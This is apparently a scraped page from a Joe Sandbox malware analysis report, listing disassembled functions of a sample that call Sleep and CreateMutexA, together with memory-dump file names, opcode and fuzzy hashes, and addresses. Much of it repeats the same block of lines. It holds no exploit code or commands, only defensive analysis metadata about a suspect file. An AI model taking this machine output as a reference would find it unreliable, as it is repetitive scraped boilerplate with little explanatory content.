Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8f45e7bb7b74c6b6203d389f216fa2ae19829247f6ce843e25ec2a108dbf3e4f
Instruction ID: c4f0f04507d9374d0f52ee4e7eb1913ac03000d98b676287456cb48b6c8b3a3f
Opcode Fuzzy Hash: 8f45e7bb7b74c6b6203d389f216fa2ae19829247f6ce843e25ec2a108dbf3e4f
Instruction Fuzzy Hash: 0B3168317042849BEB09DB79DC89BADB767DBC2314F204218E414DB3E6C776AD808716

Function 009EA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c53c748ffb05e3eecd3ecc8186b5947eadeb70da784b40d1851b1b9c796d833f
Instruction ID: d6052b1631c0be2830a36ca9b6368dfd155521fa7f9df4e5495068f003456e7d
Opcode Fuzzy Hash: c53c748ffb05e3eecd3ecc8186b5947eadeb70da784b40d1851b1b9c796d833f
Instruction Fuzzy Hash: 8C3188316001859BFB09DB79DCC9BACB766AFC6310F208218E110EB3F6D736AD808712

Function 009EA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8b108a9c8030708c3b260b8bba3ef340364d85b98d8ffd69c80db03a03927404
Instruction ID: 1ebf9ae01256ecc59802170e1d8bd07b4819012655b7fcbc2716981015fb9ef6
Opcode Fuzzy Hash: 8b108a9c8030708c3b260b8bba3ef340364d85b98d8ffd69c80db03a03927404
Instruction Fuzzy Hash: 8E3157316001849BEB09EB79DC89BADB766EFC2314F204218E414DB3F6E775ADC08756

Function 009EA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2c2d7bb0436ecf017ec7413e319c39cc57c57be28ea59bc563d286c658d95f53
Instruction ID: a237e0e3ff1b97e323fc0a5467fbac45abb3d66df61f8510144be18e690142b4
Opcode Fuzzy Hash: 2c2d7bb0436ecf017ec7413e319c39cc57c57be28ea59bc563d286c658d95f53
Instruction Fuzzy Hash: BC314A316001458BEB09DB79DCC9BADB766EBC6314F248618F414DB3F6CB75AD808716

Function 009EA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7a6114e29618656f5d37f7edf9ba69a560aeba1a70f4df5867bd556dea873778
Instruction ID: 73ee8771962b2e1e9b680133cb6fe9b782b4e510cfcd4c45eb7eb11a459ba35c
Opcode Fuzzy Hash: 7a6114e29618656f5d37f7edf9ba69a560aeba1a70f4df5867bd556dea873778
Instruction Fuzzy Hash: 9C316A31A001848BEB09DB79DCC97ADB776EBC2314F248618E414DB2F6C776AD808756

Function 009E9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0c154c9799ebab7da7a7ce15ae469c16e1d44d0c34784d514ba9fbaf7231235b
Instruction ID: 5afe275b55cbea6b8c2a35f08a296bad8dbaa0bdb69f0471165dd6c4d389781e
Opcode Fuzzy Hash: 0c154c9799ebab7da7a7ce15ae469c16e1d44d0c34784d514ba9fbaf7231235b
Instruction Fuzzy Hash: A42179327042409BEB199B69ECC5B6DB366EBD1310F244219E404CB6E6DB76AE808711

Function 009EA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
